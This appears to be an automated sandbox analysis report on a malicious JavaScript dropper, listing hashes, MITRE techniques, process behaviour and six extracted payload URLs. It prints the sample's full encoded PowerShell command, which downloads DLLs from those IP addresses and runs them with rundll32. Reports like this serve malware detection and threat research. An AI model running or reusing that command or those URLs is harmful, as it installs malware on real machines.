026b1ae348a44daf964d7f3271a84c7e7b0f61cf5932f7b07ced258e98f8865d

Analysis

max time kernel
116s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20230221-en
resource tags

arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
submitted
16-03-2023 09:09

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General

Target

aN-weyGdf-4734.js
Size

49KB
MD5

110f35fe0979fdc0adca48ccf2bf8567
SHA1

071215a9777e6eae6bec83a3e7a8ab975cc608d7
SHA256

026b1ae348a44daf964d7f3271a84c7e7b0f61cf5932f7b07ced258e98f8865d
SHA512

32f9fd8d63fcd11ffa43732ab4f7f4f3f4e20f502be0349d67f486445bc8505236847fb93f062be5bdc660eb882941296e60015cc6aff5df9c1ffc114df7222c
SSDEEP

768:+G3YgQtUjXN6ktwyjGFnTZOOoYfPxpmdUJRF+nS9ITetKfuTX6LGUwDJoHnE84/L:/ngowFnTEOoYfjvho7Hnn21T

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://198.44.132.63/nCePgMjGvyZW.dat

exe.dropper

http://87.236.146.84/C0fB6OJKc.dat

exe.dropper

http://139.180.170.206/NvXo4Oo4Rh.dat

exe.dropper

http://128.254.207.26/4qgi7k.dat

exe.dropper

http://206.53.48.51/6K2WKcT1gN.dat

exe.dropper

http://94.131.115.19/sw2XwiFns.dat

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
29	3088	powershell.exe
38	3088	powershell.exe
62	3088	powershell.exe
86	3088	powershell.exe
87	3088	powershell.exe
102	3088	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3088	powershell.exe
3088	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3088	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 960 wrote to memory of 3088	960	wscript.exe	81
PID 960 wrote to memory of 3088	960	wscript.exe	81

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\aN-weyGdf-4734.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7ACQATQBvAG4AbwBuAHUAYwBsAGUAYQByACAAPQAgACgAIgBoAHQAdABwADoALwAvADEAOQA4AC4ANAA0AC4AMQAzADIALgA2ADMALwBuAEMAZQBQAGcATQBqAEcAdgB5AFoAVwAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA4ADcALgAyADMANgAuADEANAA2AC4AOAA0AC8AQwAwAGYAQgA2AE8ASgBLAGMALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8AMQAzADkALgAxADgAMAAuADEANwAwAC4AMgAwADYALwBOAHYAWABvADQATwBvADQAUgBoAC4AZABhAHQALABoAHQAdABwADoALwAvADEAMgA4AC4AMgA1ADQALgAyADAANwAuADIANgAvADQAcQBnAGkANwBrAC4AZABhAHQALABoAHQAdABwADoALwAvADIAMAA2AC4ANQAzAC4ANAA4AC4ANQAxAC8ANgBLADIAVwBLAGMAVAAxAGcATgAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA5ADQALgAxADMAMQAuADEAMQA1AC4AMQA5AC8AcwB3ADIAWAB3AGkARgBuAHMALgBkAGEAdAAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJAB3AGEAcgBkAGkAdABlAFMAdABhAGMAawBhAGcAZQAgAGkAbgAgACQATQBvAG4AbwBuAHUAYwBsAGUAYQByACkAIAB7AHQAcgB5ACAAewBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAHcAYQByAGQAaQB0AGUAUwB0AGEAYwBrAGEAZwBlACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQA1ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABuAGUAcABoAHIAbwBsAHkAdABpAGMAUwBhAHQAdQByAGQAYQB5AC4AZABsAGwAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABuAGUAcABoAHIAbwBsAHkAdABpAGMAUwBhAHQAdQByAGQAYQB5AC4AZABsAGwAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBzAHQAYQByAHQAIAByAHUAbgBkAGwAbAAzADIAIAAkAGUAbgB2ADoAVABFAE0AUABcAFwAbgBlAHAAaAByAG8AbAB5AHQAaQBjAFMAYQB0AHUAcgBkAGEAeQAuAGQAbABsACwAWABTADgAOAA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAOwB9AH0A"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3088

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dgalzzjl.sm4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3088-135-0x00000238E6AF0000-0x00000238E6B12000-memory.dmp

Filesize
136KB

Download
memory/3088-143-0x00000238E6BE0000-0x00000238E6BF0000-memory.dmp

Filesize
64KB

Download
memory/3088-144-0x00000238E6BE0000-0x00000238E6BF0000-memory.dmp

Filesize
64KB

Download
memory/3088-145-0x0000023900000000-0x00000239007A6000-memory.dmp

Filesize
7.6MB

Download
memory/3088-148-0x00000238E6BE0000-0x00000238E6BF0000-memory.dmp

Filesize
64KB

Download
memory/3088-147-0x00000238E6BE0000-0x00000238E6BF0000-memory.dmp

Filesize
64KB

Download